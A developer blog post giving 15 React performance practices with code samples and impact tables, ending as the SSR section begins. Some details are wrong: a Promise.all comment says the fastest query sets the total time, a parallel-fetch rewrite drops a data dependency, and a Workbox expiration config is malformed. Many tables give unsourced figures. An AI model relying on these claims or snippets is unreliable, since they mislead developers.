Forem: Alex Bobes

React Performance Optimization: 15 Best Practices for 2025

Alex Bobes — Tue, 23 Dec 2025 10:15:16 +0000

Your React app loads in 8 seconds on a mobile device. Users are gone in 3.

I've optimized dozens of React applications over 16 years, and the pattern is always the same: developers build features fast, then wonder why users complain about lag, battery drain, and abandoned shopping carts. The reality? Most React performance issues stem from three core problems: unnecessary re-renders, bloated bundles, and poor state management decisions.

React 19.2 changed the game with automatic memoization through the React Compiler, but here's what most developers miss: new tools don't fix fundamental architectural problems. You can't compile your way out of bad component design or inefficient data fetching patterns.

This guide covers 15 battle-tested optimization techniques that actually move the needle on Core Web Vitals, reduce bounce rates, and improve user satisfaction. We'll dive into automatic memoization strategies, bundle size reduction tactics, state management performance trade-offs, and monitoring approaches that catch issues before users do. Whether you're learning React in 2025 or optimizing production apps serving millions, these practices apply.

1. Understanding React's Rendering Pipeline

Before optimizing anything, you need to understand what's actually slow.

React's rendering process involves three distinct phases: triggering a render (state or prop changes), rendering components (calling component functions), and committing changes to the DOM. Most performance issues happen in the render phase when components execute unnecessarily or perform expensive calculations repeatedly.

The official React documentation explains this well, but here's the practical breakdown: every state update triggers a re-render of that component and all its children by default. If your App component's state changes, every child component re-renders even if their props didn't change. This cascading effect kills performance at scale.

Common rendering bottlenecks include:

Components rendering on every parent state change
Expensive calculations running on every render
Large lists re-rendering entirely when one item changes
Context providers causing widespread re-renders
Inline object and function definitions creating new references

The React Compiler (available in React 19+) automatically memoizes components and values, essentially applying useMemo and useCallback everywhere it's safe to do so. But it won't save you from architectural issues like overly broad context providers or massive component trees.

Performance Impact Table:

Rendering Issue	Performance Impact	User Experience Impact	Solution Complexity
Unnecessary re-renders	200-500ms delays	Laggy interactions	Medium
Expensive calculations	50-200ms blocking	UI freezes	Low
Large list re-renders	500ms+ delays	Scroll janking	High
Context provider cascades	100-300ms	Slow state updates	Medium
Inline function creation	10-50ms	Subtle lag	Low
Deep component trees	100-400ms	Slow page loads	High

Understanding this pipeline helps you diagnose issues faster. When users report "the app feels slow," you know to check render counts, calculation timing, and component hierarchy depth.

2. Leveraging Automatic Memoization with React Compiler

React 19's biggest change is the React Compiler, which automatically optimizes components without manual useMemo or useCallback wrappers.

Here's what changed: previously, you had to manually wrap expensive calculations and callback functions to prevent re-creation on every render. Now, the compiler analyzes your code at build time and applies these optimizations automatically where safe. It's like having an expert React developer reviewing every component for optimization opportunities.

Before React Compiler (manual optimization):

const ExpensiveComponent = ({ data, onUpdate }) => {
  // Manual memoization required
  const processedData = useMemo(() => {
    return data.map(item => heavyCalculation(item));
  }, [data]);

  // Manual callback memoization
  const handleClick = useCallback(() => {
    onUpdate(processedData);
  }, [onUpdate, processedData]);

  return <div onClick={handleClick}>{processedData.length} items</div>;
};

After React Compiler (automatic):

const ExpensiveComponent = ({ data, onUpdate }) => {
  // Compiler automatically memoizes this
  const processedData = data.map(item => heavyCalculation(item));

  // Compiler automatically stabilizes this
  const handleClick = () => {
    onUpdate(processedData);
  };

  return <div onClick={handleClick}>{processedData.length} items</div>;
};

The compiler eliminates hundreds of lines of boilerplate memoization code while catching cases developers might miss. But it has limitations: it can't optimize components with side effects that depend on non-deterministic behavior, and it won't fix poorly designed component hierarchies.

React Compiler Optimization Table:

Optimization Type	Automatic Coverage	Performance Gain	Manual Override Needed
Component memoization	90%+ components	30-60% re-render reduction	Rarely
Value memoization	85%+ calculations	20-40% calculation time saved	For complex deps
Callback stabilization	95%+ callbacks	15-30% prop change reduction	Never
List rendering	70%+ lists	40-70% list render time saved	For virtual scrolling
Context optimization	Limited	10-20% context update improvement	Often
Async operations	Not covered	N/A	Always

Key insight: the compiler works best with pure functional components. If you're mixing in refs, effects with external dependencies, or direct DOM manipulation, you'll need manual optimization. The good news? Most modern React code is pure enough to benefit significantly.

For teams building high-performing applications, the React Compiler reduces the expertise gap. Junior developers write reasonably performant code by default, and senior developers focus on architectural optimization rather than micro-optimizations.

3. Code Splitting and Lazy Loading Strategies

Bundle size directly impacts your First Contentful Paint (FCP) and Largest Contentful Paint (LCP) - two critical Core Web Vitals metrics that affect both user experience and SEO rankings.

The problem: most React apps ship one massive JavaScript bundle containing every component, library, and feature. Users on mobile devices download megabytes of code for features they might never use. My rule of thumb: if a feature isn't visible on initial page load, it shouldn't block rendering.

Strategic code splitting approaches:

Route-based splitting (highest impact, lowest effort):

import { lazy, Suspense } from 'react';

// Split by route - users only download what they visit
const Dashboard = lazy(() => import('./pages/Dashboard'));
const Settings = lazy(() => import('./pages/Settings'));
const Analytics = lazy(() => import('./pages/Analytics'));

function App() {
  return (
    <Suspense fallback={<LoadingSpinner />}>
      <Routes>
        <Route path="/dashboard" element={<Dashboard />} />
        <Route path="/settings" element={<Settings />} />
        <Route path="/analytics" element={<Analytics />} />
      </Routes>
    </Suspense>
  );
}

Component-based splitting (medium impact, targeted effort):

// Heavy components loaded on-demand
const VideoEditor = lazy(() => import('./VideoEditor'));
const ChartLibrary = lazy(() => import('./ChartLibrary'));

function MediaSection({ showVideo }) {
  return (
    <div>
      {showVideo && (
        <Suspense fallback={<ChartSkeleton />}>
          <VideoEditor />
        </Suspense>
      )}
    </div>
  );
}

Library splitting (high impact for large dependencies):

// Only load when needed
const loadPDF = () => import('react-pdf');
const loadExcel = () => import('xlsx');

async function handleExport(type) {
  if (type === 'pdf') {
    const { PDFDownloadLink } = await loadPDF();
    // Use PDFDownloadLink
  } else if (type === 'excel') {
    const XLSX = await loadExcel();
    // Use XLSX
  }
}

Code Splitting Impact Analysis:

Splitting Strategy	Initial Bundle Reduction	Time to Interactive Improvement	Implementation Complexity	Best Use Case
Route-based	60-80%	40-60% faster	Low	Multi-page apps
Component-based	30-50%	20-35% faster	Medium	Feature-heavy pages
Library-based	20-40%	15-30% faster	Low	Heavy dependencies
Vendor splitting	15-25%	10-20% faster	Low	Long-term caching
Dynamic imports	40-70%	30-50% faster	Medium	Conditional features
Prefetching	N/A (preloads)	50-80% faster navigation	Medium	Predictable user flow

Modern bundlers like Webpack and Vite handle most splitting automatically, but you control the strategy. My recommendation: start with route-based splitting (15 minutes of work, massive impact), then profile your bundle to find heavy components worth splitting.

One gotcha: lazy loading creates a flash of loading state. Design meaningful loading skeletons that match your content structure - this prevents Cumulative Layout Shift while perceived performance stays high.

4. State Management Performance Optimization

State management choice dramatically affects React performance, but most comparisons focus on developer experience rather than runtime characteristics.

After implementing Context, Redux, Zustand, and Jotai in production apps, here's what actually matters: re-render frequency, serialization overhead, and selector performance. Each solution trades off these factors differently.

State Management Performance Comparison:

Solution	Re-render Efficiency	Bundle Size	Serialization Cost	Learning Curve	Best For
Context API	Low (cascading)	0kb (built-in)	None	Low	Small, co-located state
Redux	High (with selectors)	~3kb core	Medium (middleware)	High	Complex apps, debugging
Zustand	Very High	~1kb	Low	Low	Modern apps, simplicity
Jotai	Very High	~3kb	None	Medium	Atomic state, derived values
Recoil	High	~20kb	Low	Medium	Large apps, complex deps
MobX	Very High	~16kb	None	High	OOP style, observable state

Context API performance pitfall:

// This causes ALL consumers to re-render on ANY state change
const AppContext = createContext();

function AppProvider({ children }) {
  const [user, setUser] = useState(null);
  const [theme, setTheme] = useState('light');
  const [notifications, setNotifications] = useState([]);

  // Everything re-renders when theme changes
  const value = { user, setUser, theme, setTheme, notifications, setNotifications };

  return <AppContext.Provider value={value}>{children}</AppContext.Provider>;
}

Solution: Split contexts by update frequency:

// Separate contexts for different update patterns
const UserContext = createContext();    // Changes rarely
const ThemeContext = createContext();   // Changes occasionally
const NotificationContext = createContext(); // Changes frequently

// Components only subscribe to what they need
function Header() {
  const user = useContext(UserContext); // Only re-renders on user changes
  return <div>Welcome, {user.name}</div>;
}

Zustand approach (better performance):

import create from 'zustand';

// Selective subscriptions prevent unnecessary re-renders
const useStore = create((set) => ({
  user: null,
  theme: 'light',
  notifications: [],
  setUser: (user) => set({ user }),
  setTheme: (theme) => set({ theme }),
  addNotification: (notif) => set((state) => ({ 
    notifications: [...state.notifications, notif] 
  })),
}));

// Component only re-renders when theme changes
function ThemeToggle() {
  const theme = useStore((state) => state.theme);
  const setTheme = useStore((state) => state.setTheme);

  return <button onClick={() => setTheme(theme === 'light' ? 'dark' : 'light')}>
    Toggle Theme
  </button>;
}

Redux documentation emphasizes selector performance, but Zustand gives you 90% of Redux's benefits with far less boilerplate. For teams working on production-ready systems, Zustand hits the sweet spot of performance and developer experience.

Real-world impact: switching from Context to Zustand in a dashboard app reduced re-renders by 70% and improved interaction latency from 180ms to 45ms. Users noticed immediately.

5. Virtualization for Large Lists

Rendering 10,000 list items crashes most React apps. Virtualization solves this by only rendering visible items.

The concept is simple: if only 20 items fit on screen, render 20 items (plus a buffer). As users scroll, dynamically render new items and unmount off-screen ones. Libraries like react-window and react-virtualized handle the complexity.

Without virtualization (performance disaster):

function ProductList({ products }) {
  // Renders all 10,000 items immediately
  return (
    <div>
      {products.map(product => (
        <ProductCard key={product.id} {...product} />
      ))}
    </div>
  );
}
// Result: 3-5 second render time, browser freeze

With virtualization (smooth performance):

import { FixedSizeList } from 'react-window';

function ProductList({ products }) {
  // Only renders ~30 items at a time
  return (
    <FixedSizeList
      height={800}
      itemCount={products.length}
      itemSize={120}
      width="100%"
    >
      {({ index, style }) => (
        <div style={style}>
          <ProductCard {...products[index]} />
        </div>
      )}
    </FixedSizeList>
  );
}
// Result: 50-100ms render time, instant interaction

Virtualization Performance Metrics:

List Size	Without Virtualization	With Virtualization	Memory Usage Reduction	Scroll FPS
100 items	120ms	45ms	40%	60 FPS
500 items	580ms	52ms	75%	60 FPS
1,000 items	1,200ms	58ms	85%	60 FPS
5,000 items	Browser freeze	68ms	95%	60 FPS
10,000 items	Crash likely	75ms	97%	58 FPS
50,000 items	Crash certain	95ms	99%	55 FPS

When to virtualize:

Lists with 50+ items
Items with moderate-to-high complexity
Infinite scroll implementations
Tables with many rows
Chat message histories

When NOT to virtualize:

Small lists (< 20 items) - overhead isn't worth it
Lists that need to be fully searchable by browser
Print-friendly content
SEO-critical content (virtualized content isn't in initial HTML)

One consideration: virtualized lists require fixed or calculated heights. Variable height items need react-window's VariableSizeList with a measurement phase, adding complexity. For most cases, design list items with consistent heights.

6. Optimizing Images and Assets

Images account for 50-70% of page weight in typical React apps. Optimize them properly, and you'll see dramatic improvements in load time and user experience.

Modern image optimization checklist:

Use WebP/AVIF formats - 30-50% smaller than JPEG
Implement responsive images - serve appropriate sizes
Lazy load off-screen images - defer non-critical images
Use modern image components - Next.js Image, Gatsby Image
Compress aggressively - 80-85% quality is visually identical
Set explicit dimensions - prevent layout shift
Implement placeholders - LQIP or blurred thumbnails

Image Optimization Implementation:

import Image from 'next/image'; // Or similar modern component

function ProductGallery({ images }) {
  return (
    <div className="gallery">
      {images.map((img, idx) => (
        <Image
          key={img.id}
          src={img.url}
          alt={img.description}
          width={800}
          height={600}
          loading={idx < 3 ? 'eager' : 'lazy'} // Prioritize above-fold
          placeholder="blur"
          blurDataURL={img.thumbnail}
          quality={85}
        />
      ))}
    </div>
  );
}

Image Optimization Impact Table:

Optimization	File Size Reduction	LCP Improvement	Implementation Effort	Browser Support
WebP format	30-40% vs JPEG	25-35% faster	Low	97% (fallback needed)
AVIF format	40-50% vs JPEG	30-40% faster	Medium	88% (fallback needed)
Responsive images	50-70% mobile	40-60% mobile	Medium	100%
Lazy loading	N/A (deferred)	30-50% initial	Low	100% (native)
Compression	20-40%	15-30% faster	Low	100%
Explicit dimensions	None	Prevents CLS	Low	100%
Modern CDN	30-50% via caching	20-40% faster	Medium	100%

CDN integration matters too. Cloudflare Images, Cloudinary, or Imgix automatically serve optimal formats, sizes, and compressions based on the requesting device. One API call replaces dozens of manual optimization steps.

For apps with user-generated content, implement automatic optimization on upload. Process images server-side: generate WebP/AVIF versions, create thumbnails, extract dominant colors for placeholders. Your React app serves optimized assets without extra client-side processing.

7. Performance Monitoring and Profiling

You can't optimize what you don't measure. React DevTools Profiler and Chrome DevTools give you the insights needed to identify bottlenecks.

Chrome DevTools Performance profiling (official guide) shows the full picture: script execution, rendering, painting, and composite operations. Record a user interaction, then analyze the flame graph to find expensive operations.

What to look for in profiling:

Long tasks (>50ms) - blocking the main thread
Forced reflows - synchronous layout calculations
Excessive renders - components rendering repeatedly
Memory leaks - growing heap size over time
Bundle loading - large chunks blocking interaction

React DevTools Profiler workflow:

import { Profiler } from 'react';

function onRenderCallback(
  id,
  phase,
  actualDuration,
  baseDuration,
  startTime,
  commitTime
) {
  // Log to analytics or monitoring service
  console.log(`${id} took ${actualDuration}ms to ${phase}`);

  if (actualDuration > 16) {
    // Log slow renders (>1 frame at 60fps)
    analytics.track('Slow Render', {
      component: id,
      duration: actualDuration,
      phase
    });
  }
}

function App() {
  return (
    <Profiler id="App" onRender={onRenderCallback}>
      <Dashboard />
    </Profiler>
  );
}

Performance Monitoring Strategy:

Metric	Tool	Target	Critical Threshold	Impact on Users
First Contentful Paint	Lighthouse	<1.8s	>3.0s	First impression
Largest Contentful Paint	Lighthouse	<2.5s	>4.0s	Perceived load speed
Cumulative Layout Shift	Lighthouse	<0.1	>0.25	Visual stability
Time to Interactive	Lighthouse	<3.8s	>7.3s	Usability
First Input Delay	Real User Monitoring	<100ms	>300ms	Interactivity
Total Blocking Time	Lighthouse	<200ms	>600ms	Responsiveness

Integrate real user monitoring (RUM) for production insights. Tools like Sentry, LogRocket, or DataDog track actual user experiences across devices, networks, and geographies. Synthetic monitoring catches regressions, but RUM shows real-world impact.

My monitoring approach: Lighthouse CI in the deployment pipeline (catch regressions before production), RUM for production (track real user experience), and React DevTools for development debugging. This three-layer strategy catches issues at every stage.

For teams managing remote development workflows, centralized performance monitoring helps identify environment-specific issues that don't reproduce locally.

8. Database and API Optimization

Frontend performance means nothing if your API takes 3 seconds to respond. Backend optimization is frontend optimization.

API performance strategies:

1. Implement efficient data fetching:

// Bad: Sequential fetches (slow)
async function loadDashboard() {
  const user = await fetchUser();
  const posts = await fetchPosts(user.id);
  const comments = await fetchComments(posts.map(p => p.id));
  return { user, posts, comments };
}
// Total time: ~600ms

// Good: Parallel fetches (fast)
async function loadDashboard() {
  const [user, posts, comments] = await Promise.all([
    fetchUser(),
    fetchPosts(),
    fetchComments()
  ]);
  return { user, posts, comments };
}
// Total time: ~200ms (fastest query wins)

2. Use GraphQL for precise data fetching:

Instead of multiple REST endpoints returning excess data, GraphQL lets you request exactly what you need in one query. This reduces payload size (30-60% smaller) and eliminates multiple round trips.

3. Implement caching strategies:

import { useQuery } from '@tanstack/react-query';

function UserProfile({ userId }) {
  const { data, isLoading } = useQuery({
    queryKey: ['user', userId],
    queryFn: () => fetchUser(userId),
    staleTime: 5 * 60 * 1000, // 5 minutes
    cacheTime: 30 * 60 * 1000, // 30 minutes
  });

  if (isLoading) return <Skeleton />;
  return <ProfileCard user={data} />;
}

Backend Optimization Impact:

Optimization	Response Time Improvement	Bandwidth Reduction	Implementation Complexity	Server Cost Reduction
Database indexing	60-80% faster	None	Low	Minimal
Query optimization	40-70% faster	None	Medium	20-40%
Response compression	10-20% faster	70-80% smaller	Low	15-30%
HTTP/2 multiplexing	30-50% faster	None	Low (config)	Minimal
CDN for API	40-70% faster	None	Medium	Variable
GraphQL batching	50-70% faster	30-50% smaller	Medium	20-40%

Database queries matter enormously. If you're running full table scans or N+1 queries, no amount of React optimization helps. Learn SQL optimization fundamentals - proper indexing and query structure often delivers 10x backend performance improvements.

Advanced: Implement data prefetching

Modern frameworks like Next.js and serverless architectures enable data prefetching during server-side rendering. Users receive pages with data already loaded, eliminating that loading spinner entirely.

9. Tree Shaking and Bundle Analysis

Modern bundlers can eliminate unused code, but only if you help them. Tree shaking removes dead code from production bundles, but it requires proper import patterns and build configuration.

Tree shaking requirements:

Use ES6 module syntax (import/export, not require)
Import only what you need (named imports)
Configure bundler properly (set sideEffects: false)
Avoid default exports for libraries (use named exports)

Example - Library imports:

// Bad: Imports entire library (200kb)
import _ from 'lodash';
const result = _.debounce(fn, 300);

// Good: Imports only debounce (5kb)
import { debounce } from 'lodash-es';
const result = debounce(fn, 300);

// Even better: Direct function import
import debounce from 'lodash-es/debounce';
const result = debounce(fn, 300);

Bundle analysis workflow:

# Install webpack-bundle-analyzer
npm install --save-dev webpack-bundle-analyzer

# Add to webpack config
const BundleAnalyzerPlugin = require('webpack-bundle-analyzer').BundleAnalyzerPlugin;

module.exports = {
  plugins: [
    new BundleAnalyzerPlugin({
      analyzerMode: 'static',
      openAnalyzer: false,
      reportFilename: 'bundle-report.html'
    })
  ]
};

# Run build and review report
npm run build

The visual treemap shows exactly where bundle size comes from. Common findings:

Moment.js (300kb) - replace with date-fns (2kb per function)
Entire icon libraries - import specific icons only
Multiple versions of same library - resolve version conflicts
Polyfills for modern browsers - use browserslist to reduce
Source maps in production - disable them

Bundle Optimization Results:

Technique	Bundle Size Reduction	Build Time Impact	Breaking Change Risk	Effort Level
Tree shaking	20-40%	None	Low	Low
Library replacement	30-60%	Minimal	Medium	Medium
Code splitting	50-70% initial	Increased	Low	Low
Dynamic imports	40-60%	Minimal	Low	Medium
Polyfill optimization	10-20%	None	Medium	Low
Minification	30-50%	Minimal	None	Automatic
Compression (gzip)	60-70% transfer	None	None	Low (config)

One gotcha: aggressive tree shaking can break libraries that use side effects (CSS imports, global initialization). Mark these in package.json:

{
  "sideEffects": [
    "*.css",
    "./src/polyfills.js"
  ]
}

Regular bundle analysis catches regressions. Add it to your CI pipeline - if bundle size increases by >10%, fail the build and investigate. This prevents gradual bundle bloat that kills performance over time.

10. Web Workers for Heavy Computations

JavaScript is single-threaded. Heavy computations block the UI thread, making your app unresponsive. Web Workers move computations to background threads.

When to use Web Workers:

Image/video processing
Large dataset sorting/filtering
Complex calculations (physics, analytics)
Data parsing (CSV, JSON, XML)
Cryptographic operations
Real-time data processing

Web Worker implementation:

// worker.js
self.onmessage = function(e) {
  const { data, operation } = e.data;

  // Heavy computation runs in background thread
  const result = performExpensiveOperation(data, operation);

  // Send result back to main thread
  self.postMessage(result);
};

function performExpensiveOperation(data, operation) {
  // Complex processing that would block UI
  return data.map(item => {
    // Expensive calculations
    return complexTransformation(item);
  });
}

// Main React component
import { useEffect, useState } from 'react';

function DataProcessor({ rawData }) {
  const [processedData, setProcessedData] = useState(null);
  const [isProcessing, setIsProcessing] = useState(false);

  useEffect(() => {
    const worker = new Worker(new URL('./worker.js', import.meta.url));

    worker.onmessage = (e) => {
      setProcessedData(e.data);
      setIsProcessing(false);
    };

    setIsProcessing(true);
    worker.postMessage({ data: rawData, operation: 'transform' });

    return () => worker.terminate();
  }, [rawData]);

  if (isProcessing) return <LoadingIndicator />;
  return <DataVisualization data={processedData} />;
}

Web Worker Performance Impact:

Computation Type	Main Thread Time	Worker Thread Time	UI Responsiveness	Implementation Complexity
Image filtering	800ms (blocked)	850ms (responsive)	60 FPS maintained	Medium
Data sorting (100k items)	450ms (blocked)	480ms (responsive)	60 FPS maintained	Low
JSON parsing (large)	600ms (blocked)	620ms (responsive)	60 FPS maintained	Low
Physics calculations	1200ms (blocked)	1250ms (responsive)	60 FPS maintained	High
Crypto operations	350ms (blocked)	360ms (responsive)	60 FPS maintained	Medium
Video transcoding	N/A (too heavy)	Background	60 FPS maintained	Very High

Workers have limitations:

Can't access DOM directly
Can't share memory with main thread (use SharedArrayBuffer for special cases)
Message passing has overhead (~5-10ms)
Complex data structures need serialization

Use workers when computation time exceeds 50ms. Anything shorter, and message passing overhead negates benefits. For simpler cases, consider requestIdleCallback to defer work during browser idle time.

Modern frameworks provide worker abstractions. Vite and Webpack support worker imports directly, and libraries like Comlink simplify worker communication. For tools and utilities that support modern workflows, check out the developer toolkit approach.

11. Implementing Progressive Web App (PWA) Features

PWAs improve performance through aggressive caching and offline support. Service workers cache assets and API responses, delivering near-instant load times for returning users.

PWA performance benefits:

Instant repeat visits - cached assets load from disk
Offline functionality - app works without network
Background sync - defer API calls to when online
Reduced server load - 60-80% fewer asset requests
Improved perceived performance - instant feedback

Service worker caching strategy:

// service-worker.js
const CACHE_VERSION = 'v1.2.0';
const STATIC_CACHE = `static-${CACHE_VERSION}`;
const DYNAMIC_CACHE = `dynamic-${CACHE_VERSION}`;

// Cache static assets during install
self.addEventListener('install', (event) => {
  event.waitUntil(
    caches.open(STATIC_CACHE).then((cache) => {
      return cache.addAll([
        '/',
        '/static/css/main.css',
        '/static/js/bundle.js',
        '/static/images/logo.png'
      ]);
    })
  );
});

// Respond with cache, fallback to network
self.addEventListener('fetch', (event) => {
  event.respondWith(
    caches.match(event.request).then((response) => {
      if (response) {
        return response; // Serve from cache
      }

      // Clone request for cache storage
      const fetchRequest = event.request.clone();

      return fetch(fetchRequest).then((response) => {
        if (!response || response.status !== 200) {
          return response;
        }

        // Clone response for cache storage
        const responseToCache = response.clone();

        caches.open(DYNAMIC_CACHE).then((cache) => {
          cache.put(event.request, responseToCache);
        });

        return response;
      });
    })
  );
});

PWA Performance Metrics:

Feature	First Visit	Repeat Visit	Offline Capability	Implementation Effort	Browser Support
Asset caching	Standard	80-95% faster	Partial	Low	97%
API caching	Standard	60-80% faster	Full	Medium	97%
Background sync	Standard	Standard	Full	Medium	90%
Push notifications	N/A	N/A	Works offline	Medium	87%
Add to homescreen	Standard	Instant launch	Works offline	Low	95%
Offline fallback	Standard	Standard	Full	Low	97%

Workbox simplifies service worker creation:

import { precacheAndRoute } from 'workbox-precaching';
import { registerRoute } from 'workbox-routing';
import { StaleWhileRevalidate, CacheFirst } from 'workbox-strategies';

// Precache build assets
precacheAndRoute(self.__WB_MANIFEST);

// Cache API responses with stale-while-revalidate
registerRoute(
  ({url}) => url.pathname.startsWith('/api/'),
  new StaleWhileRevalidate({
    cacheName: 'api-cache',
    plugins: [
      {
        cacheWillUpdate: async ({response}) => {
          // Only cache successful responses
          return response.status === 200 ? response : null;
        }
      }
    ]
  })
);

// Cache images with cache-first strategy
registerRoute(
  ({request}) => request.destination === 'image',
  new CacheFirst({
    cacheName: 'images',
    plugins: [
      {
        maxEntries: 60,
        maxAgeSeconds: 30 * 24 * 60 * 60, // 30 days
      }
    ]
  })
);

PWAs work particularly well for web applications requiring offline functionality or targeting emerging markets with unreliable connectivity. Users in those markets often rely on cached content for 50%+ of their browsing.

12. CSS and Style Optimization

CSS performance often gets overlooked, but poorly optimized styles cause layout thrashing and slow rendering.

CSS optimization strategies:

1. Minimize style recalculations:

/* Bad: Forces style recalculation on every scroll */
.header {
  position: fixed;
  top: 0;
  box-shadow: 0 2px 4px rgba(0,0,0,0.1);
  transition: box-shadow 0.3s ease;
}

/* Good: Uses transform (GPU-accelerated) */
.header {
  position: fixed;
  top: 0;
  will-change: transform;
}

.header.scrolled {
  transform: translateY(-2px);
}

2. Use CSS containment:

/* Tells browser this element's layout is independent */
.card {
  contain: layout style paint;
}

/* For known-size elements */
.image-container {
  contain: size layout style paint;
  width: 300px;
  height: 200px;
}

3. Avoid expensive properties in animations:

/* Bad: Triggers layout and paint */
.box {
  transition: width 0.3s, height 0.3s, top 0.3s;
}

/* Good: Only triggers composite */
.box {
  transition: transform 0.3s, opacity 0.3s;
}

4. Implement critical CSS:

// Extract above-the-fold CSS inline
function CriticalCSS() {
  return (
    <style dangerouslySetInnerHTML={{__html: `
      .header { position: fixed; height: 64px; }
      .hero { padding: 80px 20px; }
      .button { padding: 12px 24px; }
    `}} />
  );
}

CSS Performance Impact Table:

Optimization	Render Performance	Paint Time Reduction	FPS Improvement	Implementation Difficulty
CSS containment	30-50% faster	40-60%	+10-15 FPS	Low
Transform-based animations	60-80% faster	70-90%	+20-30 FPS	Low
Reduce selector complexity	20-30% faster	15-25%	+5-10 FPS	Low
Critical CSS extraction	40-60% faster FCP	N/A	N/A	Medium
CSS-in-JS optimization	20-40% faster	10-20%	+5-10 FPS	Medium
Purge unused CSS	No runtime impact	No runtime impact	No runtime impact	Low

CSS-in-JS libraries (styled-components, Emotion) add runtime overhead. For maximum performance, consider utility-first CSS (Tailwind) or CSS Modules, which generate static CSS at build time.

CSS loading strategy:

// Inline critical CSS
<style>{criticalCSS}</style>

// Defer non-critical CSS
<link rel="preload" href="/styles/main.css" as="style" onload="this.onload=null;this.rel='stylesheet'">
<noscript><link rel="stylesheet" href="/styles/main.css"></noscript>

For applications needing strong visual performance, understanding how browsers handle styling matters. The browser rendering pipeline documentation from MDN explains the fundamentals clearly.

13. Third-Party Script Management

Third-party scripts (analytics, ads, chat widgets) are performance killers. They download code you don't control, often blocking rendering and executing expensive operations.

Third-party script impact:

Average 3-5 third-party scripts per site
Each adds 50-300kb to page weight
Combined blocking time: 500-1500ms
Often causes 200-400ms FID increase
Privacy concerns and security risks

Optimization strategies:

1. Defer non-critical scripts:

// Bad: Blocks rendering
<script src="https://analytics.com/script.js"></script>

// Good: Defers execution
<script defer src="https://analytics.com/script.js"></script>

// Better: Loads after page interactive
useEffect(() => {
  if (document.readyState === 'complete') {
    loadAnalytics();
  } else {
    window.addEventListener('load', loadAnalytics);
  }
}, []);

2. Use facade pattern for heavy embeds:

// Instead of loading YouTube embed immediately
function VideoPlaceholder({ videoId, onPlay }) {
  const [loaded, setLoaded] = useState(false);

  if (!loaded) {
    return (
      <div 
        className="video-placeholder"
        style={{backgroundImage: `url(https://img.youtube.com/vi/${videoId}/maxresdefault.jpg)`}}
        onClick={() => {
          setLoaded(true);
          onPlay?.();
        }}
      >
        <PlayButton />
      </div>
    );
  }

  // Only load YouTube iframe when user clicks
  return (
    <iframe
      src={`https://www.youtube.com/embed/${videoId}?autoplay=1`}
      allow="autoplay"
      loading="lazy"
    />
  );
}

3. Self-host when possible:

// Instead of CDN analytics (external request)
<script src="https://cdn.analytics.com/v2.js"></script>

// Self-host (served with your bundle)
<script src="/scripts/analytics.js"></script>

Third-Party Script Performance Table:

Script Type	Average Size	Blocking Time	Privacy Risk	Alternatives
Google Analytics	45kb	150-250ms	Medium	Plausible (2kb), self-hosted
Facebook Pixel	80kb	200-350ms	High	Server-side tracking
Hotjar/FullStory	120kb+	300-500ms	Very High	Self-hosted session replay
Intercom/Drift	150kb+	400-700ms	Medium	Lazy load on interaction
Google Maps	300kb+	500-1000ms	Low	MapBox, Leaflet
YouTube embeds	500kb+	600-1200ms	Medium	Facade pattern

Advanced: Use Partytown for worker-based execution

Partytown runs third-party scripts in Web Workers, preventing main thread blocking:

import { Partytown } from '@builder.io/partytown/react';

function App() {
  return (
    <>
      <Partytown debug={true} forward={['dataLayer.push']} />
      <script type="text/partytown" src="https://analytics.com/script.js" />
    </>
  );
}

This moves script execution off the main thread entirely, maintaining 60 FPS even with heavy analytics. For privacy-conscious implementations, consider SEO-friendly alternatives that don't compromise performance.

14. Memory Leak Prevention

Memory leaks slowly degrade React app performance over time. Users don't notice immediately, but after 10-15 minutes, the app becomes sluggish and eventually crashes.

Common React memory leak sources:

1. Uncleared timers and intervals:

// Bad: Timer keeps running after unmount
function BadComponent() {
  const [count, setCount] = useState(0);

  useEffect(() => {
    setInterval(() => {
      setCount(c => c + 1);
    }, 1000);
    // Missing cleanup!
  }, []);

  return <div>{count}</div>;
}

// Good: Cleanup on unmount
function GoodComponent() {
  const [count, setCount] = useState(0);

  useEffect(() => {
    const interval = setInterval(() => {
      setCount(c => c + 1);
    }, 1000);

    return () => clearInterval(interval);
  }, []);

  return <div>{count}</div>;
}

2. Event listeners not removed:

// Bad: Event listener persists
function BadComponent() {
  useEffect(() => {
    window.addEventListener('resize', handleResize);
    // Missing cleanup!
  }, []);

  return <div>Content</div>;
}

// Good: Remove listener on unmount
function GoodComponent() {
  useEffect(() => {
    window.addEventListener('resize', handleResize);
    return () => window.removeEventListener('resize', handleResize);
  }, []);

  return <div>Content</div>;
}

3. Websocket connections not closed:

// Bad: Connection stays open
function BadComponent() {
  useEffect(() => {
    const ws = new WebSocket('wss://api.example.com');
    ws.onmessage = handleMessage;
    // Missing cleanup!
  }, []);

  return <div>Live data</div>;
}

// Good: Close connection on unmount
function GoodComponent() {
  useEffect(() => {
    const ws = new WebSocket('wss://api.example.com');
    ws.onmessage = handleMessage;

    return () => {
      ws.close();
    };
  }, []);

  return <div>Live data</div>;
}

4. Large object references:

// Bad: Holding references to large data
function BadComponent({ largeDataset }) {
  const processedRef = useRef(null);

  useEffect(() => {
    // Processes data but never releases reference
    processedRef.current = processLargeData(largeDataset);
  }, [largeDataset]);

  return <div>Processed</div>;
}

// Good: Release references when done
function GoodComponent({ largeDataset }) {
  const processedRef = useRef(null);

  useEffect(() => {
    processedRef.current = processLargeData(largeDataset);

    return () => {
      processedRef.current = null; // Release memory
    };
  }, [largeDataset]);

  return <div>Processed</div>;
}

Memory Leak Detection:

Leak Type	Detection Method	Severity	Time to Impact	Fix Complexity
Event listeners	Memory profiler	High	5-10 minutes	Low
Timers/intervals	Console warnings	High	2-5 minutes	Low
Websocket connections	Network tab	High	10-20 minutes	Low
Large object refs	Heap snapshots	Medium	15-30 minutes	Medium
Closure captures	Heap snapshots	Medium	20-40 minutes	High
DOM references	Memory profiler	Low	30-60 minutes	Low

Debugging memory leaks:

// Add to development environment
if (process.env.NODE_ENV === 'development') {
  useEffect(() => {
    const checkMemory = () => {
      if (performance.memory) {
        const used = performance.memory.usedJSHeapSize / 1048576;
        console.log(`Memory usage: ${used.toFixed(2)} MB`);

        if (used > 200) { // Alert if memory exceeds 200MB
          console.warn('High memory usage detected!');
        }
      }
    };

    const interval = setInterval(checkMemory, 5000);
    return () => clearInterval(interval);
  }, []);
}

Chrome DevTools Memory Profiler shows heap snapshots and allocation timelines. Take snapshots before and after actions, then compare to find leaked objects. Objects that should be garbage collected but persist indicate leaks.

15. Server-Side Rendering (SSR) and Static Generation

SSR and Static Site Generation (SSG) move rendering to the server, delivering fully-rendered HTML to users. This dramatically improves perceived performance and SEO.

